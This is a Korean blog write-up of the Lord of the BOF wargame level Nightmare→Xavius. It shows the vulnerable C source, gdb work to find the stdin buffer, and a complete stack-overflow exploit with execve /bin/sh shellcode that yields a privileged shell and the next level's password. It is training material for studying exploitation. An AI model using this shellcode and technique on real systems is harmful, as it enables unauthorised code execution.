[해커스쿨 LOB] Level19: Nightmare >> Xavius
두비니
·2020. 8. 31. 18:38
Level 19. Nightmare >> Xavius
Theme: arg
login
id : nightmare
pw : beg for me
bash2 & 코드확인
[nightmare@localhost nightmare]$ bash2
[nightmare@localhost nightmare]$ cat xavius.c
/*
The Lord of the BOF : The Fellowship of the BOF
- xavius
- arg
*/
#include <stdio.h>
#include <stdlib.h>
#include <dumpcode.h>
main()
{
char buffer[40];
char *ret_addr;
// overflow!
fgets(buffer, 256, stdin);
printf("%s\n", buffer);
if(*(buffer+47) == '\xbf')
{
printf("stack retbayed you!\n");
exit(0);
}
if(*(buffer+47) == '\x08')
{
printf("binary image retbayed you, too!!\n");
exit(0);
}
// check if the ret_addr is library function or not
memcpy(&ret_addr, buffer+44, 4);
while(memcmp(ret_addr, "\x90\x90", 2) != 0) // end point of function
{
if(*ret_addr == '\xc9'){ // leave
if(*(ret_addr+1) == '\xc3'){ // ret
printf("You cannot use library function!\n");
exit(0);
}
}
ret_addr++;
}
// stack destroyer
memset(buffer, 0, 44);
memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));
// LD_* eraser
// 40 : extra space for memset function
memset(buffer-3000, 0, 3000-40);
}
제한조건
1. stack영역으로 return 불가능 (stack betrayed you!)
2. 바이너리 부분으로 return 불가능 (binary image betrayed you, too!!)
3. leave-ret 사용불가(You cannot use library function!)
4. ret부분 제외 모든 stack영역 사용 불가능(stack destroyer)
5. LD_* 사용 불가능(LD_* eraser)
이번 문제는 stack, 코드영역 둘다 ret에 못 쓰고, 심지어 library를 사용해도 leave, ret를 만나면 프로그램이 종료되는 걸 확인할 수 있습니다. 이번 문제에서 봐주어야 할 부분은 argv가 아닌 fgets로 입력을 받는다는 부분입니다.
fgets함수에 대해서 잠시 이야기해봅시다.
fgets함수는 입력을 받고, 그 값을 임시버퍼에 저장하는데, 그 임시버퍼를 stdin이라고 합니다.
이 내용을 잘 모른다면, 다음 글을 읽어봅시다.
https://turtle1000.tistory.com/58
아무튼, 여기서 중요한 점은 임시버퍼에 저장한다는 점입니다. 결론적으로 쉘코드를 입력할 공간이 필요한 것이니, 입력버퍼의 주소를 찾을 수 있다면 문제를 풀 수 있겠죠?
그럼 stdin안에 어떤 값이 들어가있는지 봅시다.
[nightmare@localhost nightmare]$ python -c 'print "A"*260' >> input
[nightmare@localhost nightmare]$ gdb -q xaviul
(gdb) b * main+277
Breakpoint 1 at 0x8048829
(gdb) r < input
Starting program: /home/nightmare/xaviul < input
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault.
0x40077f72 in memcmp () from /lib/libc.so.6
(gdb) x/10x stdin
0x401068c0 <_IO_2_1_stdin_>: 0xfbad2088 0x400150ff 0x40015105 0x40015000
0x401068d0 <_IO_2_1_stdin_+16>: 0x40015000 0x40015000 0x40015000 0x40015000
0x401068e0 <_IO_2_1_stdin_+32>: 0x40016000 0x00000000
일단 다음과 같이 진행하는 이유는 argv로 진행하는 방법이 아닌 fgets로 받아서 진행하는 방법이기 때문에 그렇습니다. breakpoint를 건 곳은 leave에서 걸었습니다. 그 뒤에 stdin값을 확인해보면, stdin이 총 3 주소로 보이는 걸 확인할 수 있습니다. 이 세 군데중에 우리가 fgets에서 이용한 임시버퍼가 있는 건데, 이건 그냥 각각 확인해주어야합니다.
(gdb) x/10x 0xfbad2088
0xfbad2088: Cannot access memory at address 0xfbad2088
(gdb) x/10x 0x40015000
0x40015000: 0x41414141 0x41414141 0x41414141 0x41414141
0x40015010: 0x41414141 0x41414141 0x41414141 0x41414141
0x40015020: 0x41414141 0x41414141
(gdb) x/10x 0x40015000-0x10
0x40014ff0: 0x00000000 0x00000000 0x00000000 0x00000000
0x40015000: 0x41414141 0x41414141 0x41414141 0x41414141
0x40015010: 0x41414141 0x41414141
보면 0x40015000이 임시버퍼의 시작 주소임을 알 수 있습니다. 그냥 버퍼에 넣어도 되는데 nop넣어주려고 ret 뒤에 넣고 주소 확인해보겠습니다.
[nightmare@localhost nightmare]$ python -c 'print "A"*44+"\x00\x50\x01\x40"+"\x90"*30+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"' >> input
[nightmare@localhost nightmare]$ gdb -q xaviul
(gdb) b * main+277
Breakpoint 1 at 0x8048829
(gdb) r < input
Starting program: /home/nightmare/xaviul < input
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Breakpoint 1, 0x8048829 in main ()
(gdb) x/100x 0x40015000
0x40015000: 0x41414141 0x41414141 0x41414141 0x41414141
0x40015010: 0x41414141 0x41414141 0x41414141 0x41414141
0x40015020: 0x41414141 0x41414141 0x41414141 0x40015000
0x40015030: 0x90909090 0x90909090 0x90909090 0x90909090
0x40015040: 0x90909090 0x90909090 0x90909090 0xc0319090
0x40015050: 0x2f2f6850 0x2f686873 0x896e6962 0x895350e3
0x40015060: 0xb0c289e1 0x0a80cd0b 0x00000000 0x00000000
0x40015070: 0x00000000 0x00000000 0x00000000 0x00000000
0x40015080: 0x00000000 0x00000000 0x00000000 0x00000000
0x40015090: 0x00000000 0x00000000 0x00000000 0x00000000
0x400150a0: 0x00000000 0x00000000 0x00000000 0x00000000
0x40015030 들고가겠습니다. 기릿
[nightmare@localhost nightmare]$ (python -c 'print "A"*44+"\x30\x50\x01\x40"+"\x90"*30+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"';cat) | ./xavius
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0P@▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒1▒Ph//shh/bin▒▒PS▒▒°
̀
id
uid=518(nightmare) gid=518(nightmare) euid=519(xavius) egid=519(xavius) groups=518(nightmare)
my-pass
euid = 519
throw me away
굳굳
마지막 문제 기릿
'War Games > 해커스쿨 LOB' 카테고리의 다른 글
[해커스쿨 LOB] END: Death Knight (0) | 2020.09.02 |
---|---|
[해커스쿨 LOB] Level20: Xavius >> Death Knight (0) | 2020.09.01 |
[해커스쿨 LOB] Level18: Succubus >> Nightmare (0) | 2020.08.30 |
[해커스쿨 LOB] Level17: Zombie Assassin >> Succubus (0) | 2020.08.30 |
[해커스쿨 LOB] Level16: Assassin >> Zombie Assassin (0) | 2020.08.30 |